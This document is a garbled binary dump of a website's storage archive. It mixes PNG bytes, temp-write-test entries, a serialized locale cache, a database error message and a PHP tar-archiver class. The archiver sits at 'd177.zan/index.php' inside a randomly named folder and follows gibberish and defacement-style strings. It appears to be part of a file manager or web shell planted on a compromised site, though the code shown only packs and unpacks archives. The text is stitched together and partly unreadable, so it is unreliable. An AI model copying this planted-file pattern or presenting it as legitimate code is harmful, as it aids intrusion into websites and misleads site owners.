v7‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT PKR\OyXXupload/readme.txtnu[You can upload files to this folder via FTP to make them available later for your users PKR\temp-write-test-1587904128nu[PKR\temp-write-test-1498552029nu[PKR\cache/readme.txtnu[PKR\3FaaHcache/zend_cache---internal-metadatas---5a54ef68b677ff09ee217dd76c816de3nu"] a:4:{s:4:"hash";i:669275345;s:5:"mtime";i:1710260342;s:6:"expire";i:1710263942;s:4:"tags";a:0:{}}PKR\T'EE3cache/zend_cache---5a54ef68b677ff09ee217dd76c816de3nu"] a:4:{s:4:"data";s:17729:"a:2:{i:0;s:0:"";i:1;a:18:{s:13:"numberSymbols";a:11:{s:5:"alias";s:0:"";s:7:"decimal";s:1:".";s:5:"group";s:1:",";s:4:"list";s:1:";";s:11:"percentSign";s:1:"%";s:8:"plusSign";s:1:"+";s:9:"minusSign";s:1:"-";s:11:"exponential";s:1:"E";s:8:"perMille";s:3:"‰";s:8:"infinity";s:3:"∞";s:3:"nan";s:3:"NaN";}s:13:"decimalFormat";s:9:"#,##0.###";s:16:"scientificFormat";s:3:"#E0";s:13:"percentFormat";s:6:"#,##0%";s:14:"currencyFormat";s:23:"¤#,##0.00;(¤#,##0.00)";s:15:"currencySymbols";a:21:{s:3:"AUD";s:2:"A$";s:3:"BRL";s:2:"R$";s:3:"CAD";s:3:"CA$";s:3:"CNY";s:4:"CN¥";s:3:"EUR";s:3:"€";s:3:"GBP";s:2:"£";s:3:"HKD";s:3:"HK$";s:3:"ILS";s:3:"₪";s:3:"INR";s:3:"₹";s:3:"JPY";s:2:"¥";s:3:"KRW";s:3:"₩";s:3:"MXN";s:3:"MX$";s:3:"NZD";s:3:"NZ$";s:3:"THB";s:3:"฿";s:3:"TWD";s:3:"NT$";s:3:"USD";s:1:"$";s:3:"VND";s:3:"₫";s:3:"XAF";s:4:"FCFA";s:3:"XCD";s:3:"EC$";s:3:"XOF";s:3:"CFA";s:3:"XPF";s:4:"CFPF";}s:10:"monthNames";a:2:{s:4:"wide";a:12:{i:1;s:7:"January";i:2;s:8:"February";i:3;s:5:"March";i:4;s:5:"April";i:5;s:3:"May";i:6;s:4:"June";i:7;s:4:"July";i:8;s:6:"August";i:9;s:9:"September";i:10;s:7:"October";i:11;s:8:"November";i:12;s:8:"December";}s:11:"abbreviated";a:12:{i:1;s:3:"Jan";i:2;s:3:"Feb";i:3;s:3:"Mar";i:4;s:3:"Apr";i:5;s:3:"May";i:6;s:3:"Jun";i:7;s:3:"Jul";i:8;s:3:"Aug";i:9;s:3:"Sep";i:10;s:3:"Oct";i:11;s:3:"Nov";i:12;s:3:"Dec";}}s:12:"monthNamesSA";a:1:{s:6:"narrow";a:12:{i:1;s:1:"J";i:2;s:1:"F";i:3;s:1:"M";i:4;s:1:"A";i:5;s:1:"M";i:6;s:1:"J";i:7;s:1:"J";i:8;s:1:"A";i:9;s:1:"S";i:10;s:1:"O";i:11;s:1:"N";i:12;s:1:"D";}}s:12:"weekDayNames";a:3:{s:4:"wide";a:7:{i:0;s:6:"Sunday";i:1;s:6:"Monday";i:2;s:7:"Tuesday";i:3;s:9:"Wednesday";i:4;s:8:"Thursday";i:5;s:6:"Friday";i:6;s:8:"Saturday";}s:11:"abbreviated";a:7:{i:0;s:3:"Sun";i:1;s:3:"Mon";i:2;s:3:"Tue";i:3;s:3:"Wed";i:4;s:3:"Thu";i:5;s:3:"Fri";i:6;s:3:"Sat";}s:5:"short";a:7:{i:0;s:2:"Su";i:1;s:2:"Mo";i:2;s:2:"Tu";i:3;s:2:"We";i:4;s:2:"Th";i:5;s:2:"Fr";i:6;s:2:"Sa";}}s:14:"weekDayNamesSA";a:1:{s:6:"narrow";a:7:{i:0;s:1:"S";i:1;s:1:"M";i:2;s:1:"T";i:3;s:1:"W";i:4;s:1:"T";i:5;s:1:"F";i:6;s:1:"S";}}s:11:"dateFormats";a:5:{s:4:"full";s:15:"EEEE, MMMM d, y";s:4:"long";s:9:"MMMM d, y";s:6:"medium";s:8:"MMM d, y";s:5:"short";s:6:"M/d/yy";s:3:"php";s:5:"m/d/y";}s:11:"timeFormats";a:5:{s:4:"full";s:14:"h:mm:ss a zzzz";s:4:"long";s:11:"h:mm:ss a z";s:6:"medium";s:9:"h:mm:ss a";s:5:"short";s:6:"h:mm a";s:3:"php";s:5:"h:i A";}s:14:"dateTimeFormat";s:8:"{1}, {0}";s:5:"units";a:21:{s:3:"day";a:2:{s:5:"other";s:8:"{0} days";s:3:"one";s:7:"{0} day";}s:10:"day-future";a:2:{s:5:"other";s:11:"In {0} days";s:3:"one";s:10:"In {0} day";}s:8:"day-past";a:2:{s:5:"other";s:12:"{0} days ago";s:3:"one";s:11:"{0} day ago";}s:4:"hour";a:2:{s:5:"other";s:9:"{0} hours";s:3:"one";s:8:"{0} hour";}s:11:"hour-future";a:2:{s:5:"other";s:12:"In {0} hours";s:3:"one";s:11:"In {0} hour";}s:9:"hour-past";a:2:{s:5:"other";s:13:"{0} hours ago";s:3:"one";s:12:"{0} hour ago";}s:6:"minute";a:2:{s:5:"other";s:11:"{0} minutes";s:3:"one";s:10:"{0} minute";}s:13:"minute-future";a:2:{s:5:"other";s:14:"In {0} minutes";s:3:"one";s:13:"In {0} minute";}s:11:"minute-past";a:2:{s:5:"other";s:15:"{0} minutes ago";s:3:"one";s:14:"{0} minute ago";}s:5:"month";a:2:{s:5:"other";s:10:"{0} months";s:3:"one";s:9:"{0} month";}s:12:"month-future";a:2:{s:5:"other";s:13:"In {0} months";s:3:"one";s:12:"In {0} month";}s:10:"month-past";a:2:{s:5:"other";s:14:"{0} months ago";s:3:"one";s:13:"{0} month ago";}s:6:"second";a:2:{s:5:"other";s:11:"{0} seconds";s:3:"one";s:10:"{0} second";}s:13:"second-future";a:2:{s:5:"other";s:14:"In {0} seconds";s:3:"one";s:13:"In {0} second";}s:11:"second-past";a:2:{s:5:"other";s:15:"{0} seconds ago";s:3:"one";s:14:"{0} second ago";}s:4:"week";a:2:{s:5:"other";s:9:"{0} weeks";s:3:"one";s:8:"{0} week";}s:11:"week-future";a:2:{s:5:"other";s:12:"In {0} weeks";s:3:"one";s:11:"In {0} week";}s:9:"week-past";a:2:{s:5:"other";s:13:"{0} weeks ago";s:3:"one";s:12:"{0} week ago";}s:4:"year";a:2:{s:5:"other";s:9:"{0} years";s:3:"one";s:8:"{0} year";}s:11:"year-future";a:2:{s:5:"other";s:12:"In {0} years";s:3:"one";s:11:"In {0} year";}s:9:"year-past";a:2:{s:5:"other";s:13:"{0} years ago";s:3:"one";s:12:"{0} year ago";}}s:10:"currencies";a:48:{s:3:"AUD";a:3:{s:0:"";s:17:"Australian Dollar";s:3:"one";s:17:"Australian dollar";s:5:"other";s:18:"Australian dollars";}s:3:"BBD";a:3:{s:0:"";s:16:"Barbadian Dollar";s:3:"one";s:16:"Barbadian dollar";s:5:"other";s:17:"Barbadian dollars";}s:3:"BMD";a:3:{s:0:"";s:15:"Bermudan Dollar";s:3:"one";s:15:"Bermudan dollar";s:5:"other";s:16:"Bermudan dollars";}s:3:"BND";a:3:{s:0:"";s:13:"Brunei Dollar";s:3:"one";s:13:"Brunei dollar";s:5:"other";s:14:"Brunei dollars";}s:3:"BSD";a:3:{s:0:"";s:15:"Bahamian Dollar";s:3:"one";s:15:"Bahamian dollar";s:5:"other";s:16:"Bahamian dollars";}s:3:"BWP";a:3:{s:0:"";s:14:"Botswanan Pula";s:3:"one";s:14:"Botswanan pula";s:5:"other";s:15:"Botswanan pulas";}s:3:"BZD";a:3:{s:0:"";s:13:"Belize Dollar";s:3:"one";s:13:"Belize dollar";s:5:"other";s:14:"Belize dollars";}s:3:"CAD";a:3:{s:0:"";s:15:"Canadian Dollar";s:3:"one";s:15:"Canadian dollar";s:5:"other";s:16:"Canadian dollars";}s:3:"EUR";a:3:{s:0:"";s:4:"Euro";s:3:"one";s:4:"euro";s:5:"other";s:5:"euros";}s:3:"GBP";a:3:{s:0:"";s:22:"British Pound Sterling";s:3:"one";s:22:"British pound sterling";s:5:"other";s:23:"British pounds sterling";}s:3:"GHS";a:3:{s:0:"";s:13:"Ghanaian Cedi";s:3:"one";s:13:"Ghanaian cedi";s:5:"other";s:14:"Ghanaian cedis";}s:3:"GIP";a:3:{s:0:"";s:15:"Gibraltar Pound";s:3:"one";s:15:"Gibraltar pound";s:5:"other";s:16:"Gibraltar pounds";}s:3:"GMD";a:3:{s:0:"";s:14:"Gambian Dalasi";s:3:"one";s:14:"Gambian dalasi";s:5:"other";s:15:"Gambian dalasis";}s:3:"GYD";a:3:{s:0:"";s:16:"Guyanaese Dollar";s:3:"one";s:16:"Guyanaese dollar";s:5:"other";s:17:"Guyanaese dollars";}s:3:"INR";a:3:{s:0:"";s:12:"Indian Rupee";s:3:"one";s:12:"Indian rupee";s:5:"other";s:13:"Indian rupees";}s:3:"JMD";a:3:{s:0:"";s:15:"Jamaican Dollar";s:3:"one";s:15:"Jamaican dollar";s:5:"other";s:16:"Jamaican dollars";}s:3:"KES";a:3:{s:0:"";s:15:"Kenyan Shilling";s:3:"one";s:15:"Kenyan shilling";s:5:"other";s:16:"Kenyan shillings";}s:3:"KYD";a:3:{s:0:"";s:21:"Cayman Islands Dollar";s:3:"one";s:21:"Cayman Islands dollar";s:5:"other";s:22:"Cayman Islands dollars";}s:3:"LRD";a:3:{s:0:"";s:15:"Liberian Dollar";s:3:"one";s:15:"Liberian dollar";s:5:"other";s:16:"Liberian dollars";}s:3:"LSL";a:3:{s:0:"";s:12:"Lesotho Loti";s:3:"one";s:12:"Lesotho loti";s:5:"other";s:13:"Lesotho lotis";}s:3:"MGA";a:3:{s:0:"";s:15:"Malagasy Ariary";s:3:"one";s:15:"Malagasy Ariary";s:5:"other";s:17:"Malagasy Ariaries";}s:3:"MUR";a:3:{s:0:"";s:15:"Mauritian Rupee";s:3:"one";s:15:"Mauritian rupee";s:5:"other";s:16:"Mauritian rupees";}s:3:"MWK";a:3:{s:0:"";s:15:"Malawian Kwacha";s:3:"one";s:15:"Malawian Kwacha";s:5:"other";s:16:"Malawian Kwachas";}s:3:"NAD";a:3:{s:0:"";s:15:"Namibian Dollar";s:3:"one";s:15:"Namibian dollar";s:5:"other";s:16:"Namibian dollars";}s:3:"NGN";a:3:{s:0:"";s:14:"Nigerian Naira";s:3:"one";s:14:"Nigerian naira";s:5:"other";s:15:"Nigerian nairas";}s:3:"NZD";a:3:{s:0:"";s:18:"New Zealand Dollar";s:3:"one";s:18:"New Zealand dollar";s:5:"other";s:19:"New Zealand dollars";}s:3:"PGK";a:3:{s:0:"";s:22:"Papua New Guinean Kina";s:3:"one";s:22:"Papua New Guinean kina";s:5:"other";s:22:"Papua New Guinean kina";}s:3:"PHP";a:3:{s:0:"";s:15:"Philippine Peso";s:3:"one";s:15:"Philippine peso";s:5:"other";s:16:"Philippine pesos";}s:3:"PKR";a:3:{s:0:"";s:15:"Pakistani Rupee";s:3:"one";s:15:"Pakistani rupee";s:5:"other";s:16:"Pakistani rupees";}s:3:"SBD";a:3:{s:0:"";s:22:"Solomon Islands Dollar";s:3:"one";s:22:"Solomon Islands dollar";s:5:"other";s:23:"Solomon Islands dollars";}s:3:"SCR";a:3:{s:0:"";s:17:"Seychellois Rupee";s:3:"one";s:17:"Seychellois rupee";s:5:"other";s:18:"Seychellois rupees";}s:3:"SGD";a:3:{s:0:"";s:16:"Singapore Dollar";s:3:"one";s:16:"Singapore dollar";s:5:"other";s:17:"Singapore dollars";}s:3:"SLL";a:3:{s:0:"";s:20:"Sierra Leonean Leone";s:3:"one";s:20:"Sierra Leonean leone";s:5:"other";s:21:"Sierra Leonean leones";}s:3:"SZL";a:3:{s:0:"";s:15:"Swazi Lilangeni";s:3:"one";s:15:"Swazi lilangeni";s:5:"other";s:16:"Swazi emalangeni";}s:3:"TOP";a:3:{s:0:"";s:15:"Tongan Paʻanga";s:3:"one";s:15:"Tongan paʻanga";s:5:"other";s:15:"Tongan paʻanga";}s:3:"TTD";a:3:{s:0:"";s:26:"Trinidad and Tobago Dollar";s:3:"one";s:26:"Trinidad and Tobago dollar";s:5:"other";s:27:"Trinidad and Tobago dollars";}s:3:"TZS";a:3:{s:0:"";s:18:"Tanzanian Shilling";s:3:"one";s:18:"Tanzanian shilling";s:5:"other";s:19:"Tanzanian shillings";}s:3:"UGX";a:3:{s:0:"";s:16:"Ugandan Shilling";s:3:"one";s:16:"Ugandan shilling";s:5:"other";s:17:"Ugandan shillings";}s:3:"USD";a:3:{s:0:"";s:9:"US Dollar";s:3:"one";s:9:"US dollar";s:5:"other";s:10:"US dollars";}s:3:"USN";a:3:{s:0:"";s:20:"US Dollar (Next day)";s:3:"one";s:20:"US dollar (next day)";s:5:"other";s:21:"US dollars (next day)";}s:3:"USS";a:3:{s:0:"";s:20:"US Dollar (Same day)";s:3:"one";s:20:"US dollar (same day)";s:5:"other";s:21:"US dollars (same day)";}s:3:"VUV";a:3:{s:0:"";s:12:"Vanuatu Vatu";s:3:"one";s:12:"Vanuatu vatu";s:5:"other";s:13:"Vanuatu vatus";}s:3:"WST";a:3:{s:0:"";s:11:"Samoan Tala";s:3:"one";s:11:"Samoan tala";s:5:"other";s:11:"Samoan tala";}s:3:"XAF";a:3:{s:0:"";s:14:"CFA Franc BEAC";s:3:"one";s:14:"CFA franc BEAC";s:5:"other";s:15:"CFA francs BEAC";}s:3:"XCD";a:3:{s:0:"";s:21:"East Caribbean Dollar";s:3:"one";s:21:"East Caribbean dollar";s:5:"other";s:22:"East Caribbean dollars";}s:3:"ZAR";a:3:{s:0:"";s:18:"South African Rand";s:3:"one";s:18:"South African rand";s:5:"other";s:18:"South African rand";}s:3:"ZMK";a:3:{s:0:"";s:14:"Zambian Kwacha";s:3:"one";s:14:"Zambian kwacha";s:5:"other";s:15:"Zambian kwachas";}s:3:"ZWL";a:3:{s:0:"";s:24:"Zimbabwean Dollar (2009)";s:3:"one";s:24:"Zimbabwean dollar (2009)";s:5:"other";s:25:"Zimbabwean dollars (2009)";}}s:11:"territories";a:289:{s:3:"001";s:5:"World";s:3:"002";s:6:"Africa";s:3:"003";s:13:"North America";s:3:"005";s:13:"South America";s:3:"009";s:7:"Oceania";s:3:"011";s:14:"Western Africa";s:3:"013";s:15:"Central America";s:3:"014";s:14:"Eastern Africa";s:3:"015";s:15:"Northern Africa";s:3:"017";s:13:"Middle Africa";s:3:"018";s:15:"Southern Africa";s:3:"019";s:8:"Americas";s:3:"021";s:16:"Northern America";s:3:"029";s:9:"Caribbean";s:3:"030";s:12:"Eastern Asia";s:3:"034";s:13:"Southern Asia";s:3:"035";s:18:"South-Eastern Asia";s:3:"039";s:15:"Southern Europe";s:3:"053";s:11:"Australasia";s:3:"054";s:9:"Melanesia";s:3:"057";s:18:"Micronesian Region";s:3:"061";s:9:"Polynesia";i:142;s:4:"Asia";i:143;s:12:"Central Asia";i:145;s:12:"Western Asia";i:150;s:6:"Europe";i:151;s:14:"Eastern Europe";i:154;s:15:"Northern Europe";i:155;s:14:"Western Europe";i:419;s:13:"Latin America";s:2:"AC";s:16:"Ascension Island";s:2:"AD";s:7:"Andorra";s:2:"AE";s:20:"United Arab Emirates";s:2:"AF";s:11:"Afghanistan";s:2:"AG";s:19:"Antigua and Barbuda";s:2:"AI";s:8:"Anguilla";s:2:"AL";s:7:"Albania";s:2:"AM";s:7:"Armenia";s:2:"AN";s:20:"Netherlands Antilles";s:2:"AO";s:6:"Angola";s:2:"AQ";s:10:"Antarctica";s:2:"AR";s:9:"Argentina";s:2:"AS";s:14:"American Samoa";s:2:"AT";s:7:"Austria";s:2:"AU";s:9:"Australia";s:2:"AW";s:5:"Aruba";s:2:"AX";s:14:"Åland Islands";s:2:"AZ";s:10:"Azerbaijan";s:2:"BA";s:22:"Bosnia and Herzegovina";s:2:"BB";s:8:"Barbados";s:2:"BD";s:10:"Bangladesh";s:2:"BE";s:7:"Belgium";s:2:"BF";s:12:"Burkina Faso";s:2:"BG";s:8:"Bulgaria";s:2:"BH";s:7:"Bahrain";s:2:"BI";s:7:"Burundi";s:2:"BJ";s:5:"Benin";s:2:"BL";s:17:"Saint Barthélemy";s:2:"BM";s:7:"Bermuda";s:2:"BN";s:6:"Brunei";s:2:"BO";s:7:"Bolivia";s:2:"BQ";s:21:"Caribbean Netherlands";s:2:"BR";s:6:"Brazil";s:2:"BS";s:7:"Bahamas";s:2:"BT";s:6:"Bhutan";s:2:"BV";s:13:"Bouvet Island";s:2:"BW";s:8:"Botswana";s:2:"BY";s:7:"Belarus";s:2:"BZ";s:6:"Belize";s:2:"CA";s:6:"Canada";s:2:"CC";s:23:"Cocos [Keeling] Islands";s:2:"CD";s:11:"Congo [DRC]";s:2:"CF";s:24:"Central African Republic";s:2:"CG";s:16:"Congo [Republic]";s:2:"CH";s:11:"Switzerland";s:2:"CI";s:11:"Ivory Coast";s:2:"CK";s:12:"Cook Islands";s:2:"CL";s:5:"Chile";s:2:"CM";s:8:"Cameroon";s:2:"CN";s:5:"China";s:2:"CO";s:8:"Colombia";s:2:"CP";s:17:"Clipperton Island";s:2:"CR";s:10:"Costa Rica";s:2:"CU";s:4:"Cuba";s:2:"CV";s:10:"Cape Verde";s:2:"CW";s:8:"Curaçao";s:2:"CX";s:16:"Christmas Island";s:2:"CY";s:6:"Cyprus";s:2:"CZ";s:14:"Czech Republic";s:2:"DE";s:7:"Germany";s:2:"DG";s:12:"Diego Garcia";s:2:"DJ";s:8:"Djibouti";s:2:"DK";s:7:"Denmark";s:2:"DM";s:8:"Dominica";s:2:"DO";s:18:"Dominican Republic";s:2:"DZ";s:7:"Algeria";s:2:"EA";s:17:"Ceuta and Melilla";s:2:"EC";s:7:"Ecuador";s:2:"EE";s:7:"Estonia";s:2:"EG";s:5:"Egypt";s:2:"EH";s:14:"Western Sahara";s:2:"ER";s:7:"Eritrea";s:2:"ES";s:5:"Spain";s:2:"ET";s:8:"Ethiopia";s:2:"EU";s:14:"European Union";s:2:"FI";s:7:"Finland";s:2:"FJ";s:4:"Fiji";s:2:"FK";s:33:"Falkland Islands [Islas Malvinas]";s:2:"FM";s:10:"Micronesia";s:2:"FO";s:13:"Faroe Islands";s:2:"FR";s:6:"France";s:2:"GA";s:5:"Gabon";s:2:"GB";s:14:"United Kingdom";s:2:"GD";s:7:"Grenada";s:2:"GE";s:7:"Georgia";s:2:"GF";s:13:"French Guiana";s:2:"GG";s:8:"Guernsey";s:2:"GH";s:5:"Ghana";s:2:"GI";s:9:"Gibraltar";s:2:"GL";s:9:"Greenland";s:2:"GM";s:6:"Gambia";s:2:"GN";s:6:"Guinea";s:2:"GP";s:10:"Guadeloupe";s:2:"GQ";s:17:"Equatorial Guinea";s:2:"GR";s:6:"Greece";s:2:"GS";s:44:"South Georgia and the South Sandwich Islands";s:2:"GT";s:9:"Guatemala";s:2:"GU";s:4:"Guam";s:2:"GW";s:13:"Guinea-Bissau";s:2:"GY";s:6:"Guyana";s:2:"HK";s:9:"Hong Kong";s:2:"HM";s:33:"Heard Island and McDonald Islands";s:2:"HN";s:8:"Honduras";s:2:"HR";s:7:"Croatia";s:2:"HT";s:5:"Haiti";s:2:"HU";s:7:"Hungary";s:2:"IC";s:14:"Canary Islands";s:2:"ID";s:9:"Indonesia";s:2:"IE";s:7:"Ireland";s:2:"IL";s:6:"Israel";s:2:"IM";s:11:"Isle of Man";s:2:"IN";s:5:"India";s:2:"IO";s:30:"British Indian Ocean Territory";s:2:"IQ";s:4:"Iraq";s:2:"IR";s:4:"Iran";s:2:"IS";s:7:"Iceland";s:2:"IT";s:5:"Italy";s:2:"JE";s:6:"Jersey";s:2:"JM";s:7:"Jamaica";s:2:"JO";s:6:"Jordan";s:2:"JP";s:5:"Japan";s:2:"KE";s:5:"Kenya";s:2:"KG";s:10:"Kyrgyzstan";s:2:"KH";s:8:"Cambodia";s:2:"KI";s:8:"Kiribati";s:2:"KM";s:7:"Comoros";s:2:"KN";s:21:"Saint Kitts and Nevis";s:2:"KP";s:11:"North Korea";s:2:"KR";s:11:"South Korea";s:2:"KW";s:6:"Kuwait";s:2:"KY";s:14:"Cayman Islands";s:2:"KZ";s:10:"Kazakhstan";s:2:"LA";s:4:"Laos";s:2:"LB";s:7:"Lebanon";s:2:"LC";s:11:"Saint Lucia";s:2:"LI";s:13:"Liechtenstein";s:2:"LK";s:9:"Sri Lanka";s:2:"LR";s:7:"Liberia";s:2:"LS";s:7:"Lesotho";s:2:"LT";s:9:"Lithuania";s:2:"LU";s:10:"Luxembourg";s:2:"LV";s:6:"Latvia";s:2:"LY";s:5:"Libya";s:2:"MA";s:7:"Morocco";s:2:"MC";s:6:"Monaco";s:2:"MD";s:7:"Moldova";s:2:"ME";s:10:"Montenegro";s:2:"MF";s:12:"Saint Martin";s:2:"MG";s:10:"Madagascar";s:2:"MH";s:16:"Marshall Islands";s:2:"MK";s:17:"Macedonia [FYROM]";s:2:"ML";s:4:"Mali";s:2:"MM";s:15:"Myanmar [Burma]";s:2:"MN";s:8:"Mongolia";s:2:"MO";s:5:"Macau";s:2:"MP";s:24:"Northern Mariana Islands";s:2:"MQ";s:10:"Martinique";s:2:"MR";s:10:"Mauritania";s:2:"MS";s:10:"Montserrat";s:2:"MT";s:5:"Malta";s:2:"MU";s:9:"Mauritius";s:2:"MV";s:8:"Maldives";s:2:"MW";s:6:"Malawi";s:2:"MX";s:6:"Mexico";s:2:"MY";s:8:"Malaysia";s:2:"MZ";s:10:"Mozambique";s:2:"NA";s:7:"Namibia";s:2:"NC";s:13:"New Caledonia";s:2:"NE";s:5:"Niger";s:2:"NF";s:14:"Norfolk Island";s:2:"NG";s:7:"Nigeria";s:2:"NI";s:9:"Nicaragua";s:2:"NL";s:11:"Netherlands";s:2:"NO";s:6:"Norway";s:2:"NP";s:5:"Nepal";s:2:"NR";s:5:"Nauru";s:2:"NU";s:4:"Niue";s:2:"NZ";s:11:"New Zealand";s:2:"OM";s:4:"Oman";s:2:"PA";s:6:"Panama";s:2:"PE";s:4:"Peru";s:2:"PF";s:16:"French Polynesia";s:2:"PG";s:16:"Papua New Guinea";s:2:"PH";s:11:"Philippines";s:2:"PK";s:8:"Pakistan";s:2:"PL";s:6:"Poland";s:2:"PM";s:25:"Saint Pierre and Miquelon";s:2:"PN";s:16:"Pitcairn Islands";s:2:"PR";s:11:"Puerto Rico";s:2:"PS";s:23:"Palestinian Territories";s:2:"PT";s:8:"Portugal";s:2:"PW";s:5:"Palau";s:2:"PY";s:8:"Paraguay";s:2:"QA";s:5:"Qatar";s:2:"QO";s:16:"Outlying Oceania";s:2:"RE";s:8:"Réunion";s:2:"RO";s:7:"Romania";s:2:"RS";s:6:"Serbia";s:2:"RU";s:6:"Russia";s:2:"RW";s:6:"Rwanda";s:2:"SA";s:12:"Saudi Arabia";s:2:"SB";s:15:"Solomon Islands";s:2:"SC";s:10:"Seychelles";s:2:"SD";s:5:"Sudan";s:2:"SE";s:6:"Sweden";s:2:"SG";s:9:"Singapore";s:2:"SH";s:12:"Saint Helena";s:2:"SI";s:8:"Slovenia";s:2:"SJ";s:22:"Svalbard and Jan Mayen";s:2:"SK";s:8:"Slovakia";s:2:"SL";s:12:"Sierra Leone";s:2:"SM";s:10:"San Marino";s:2:"SN";s:7:"Senegal";s:2:"SO";s:7:"Somalia";s:2:"SR";s:8:"Suriname";s:2:"SS";s:11:"South Sudan";s:2:"ST";s:24:"São Tomé and Príncipe";s:2:"SV";s:11:"El Salvador";s:2:"SX";s:12:"Sint Maarten";s:2:"SY";s:5:"Syria";s:2:"SZ";s:9:"Swaziland";s:2:"TA";s:16:"Tristan da Cunha";s:2:"TC";s:24:"Turks and Caicos Islands";s:2:"TD";s:4:"Chad";s:2:"TF";s:27:"French Southern Territories";s:2:"TG";s:4:"Togo";s:2:"TH";s:8:"Thailand";s:2:"TJ";s:10:"Tajikistan";s:2:"TK";s:7:"Tokelau";s:2:"TL";s:10:"East Timor";s:2:"TM";s:12:"Turkmenistan";s:2:"TN";s:7:"Tunisia";s:2:"TO";s:5:"Tonga";s:2:"TR";s:6:"Turkey";s:2:"TT";s:19:"Trinidad and Tobago";s:2:"TV";s:6:"Tuvalu";s:2:"TW";s:6:"Taiwan";s:2:"TZ";s:8:"Tanzania";s:2:"UA";s:7:"Ukraine";s:2:"UG";s:6:"Uganda";s:2:"UM";s:21:"U.S. Outlying Islands";s:2:"US";s:13:"United States";s:2:"UY";s:7:"Uruguay";s:2:"UZ";s:10:"Uzbekistan";s:2:"VA";s:12:"Vatican City";s:2:"VC";s:32:"Saint Vincent and the Grenadines";s:2:"VE";s:9:"Venezuela";s:2:"VG";s:22:"British Virgin Islands";s:2:"VI";s:19:"U.S. Virgin Islands";s:2:"VN";s:7:"Vietnam";s:2:"VU";s:7:"Vanuatu";s:2:"WF";s:17:"Wallis and Futuna";s:2:"WS";s:5:"Samoa";s:2:"YE";s:5:"Yemen";s:2:"YT";s:7:"Mayotte";s:2:"ZA";s:12:"South Africa";s:2:"ZM";s:6:"Zambia";s:2:"ZW";s:8:"Zimbabwe";s:2:"ZZ";s:14:"Unknown Region";}s:12:"selfLangName";s:7:"English";s:11:"pluralRules";a:2:{s:3:"one";s:4:"n==1";s:5:"other";s:4:"true";}}}";s:8:"lifetime";i:3600;s:6:"expire";i:1710263942;s:8:"priority";i:8;}PKR\temp-write-test-1456144160nu[PKR\>EEnew-rewrite/readme.txtnu[This folder is a storage for temporary files of "new_rewrite" plugin.PKR\Vrr last_errornu[Error establishing a database connection. Please contact site webmaster if this error does not disappear long timePKR\temp-write-test-1498553041nu[PKR\temp-write-test-1498552061nu[PKR\temp-write-test-1498552006nu[PKR\temp-write-test-1461079433nu[PKR\temp-write-test-1498553255nu[PKR\.upgrade.jvqp92nu"] PKR\temp-write-test-1461079449nu[PKR\d177.zan/index.phpnu[coupedetunisieqslkjdlqsdq alllezaeljksldjqlkdjqlskjd tarajhkqsjdlqskjdlksqdjlksqjd yadawlkdkqsdlqjsdkjqsldjqs kqslkdslqdjlqsdjklqsjdlkqsd <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') 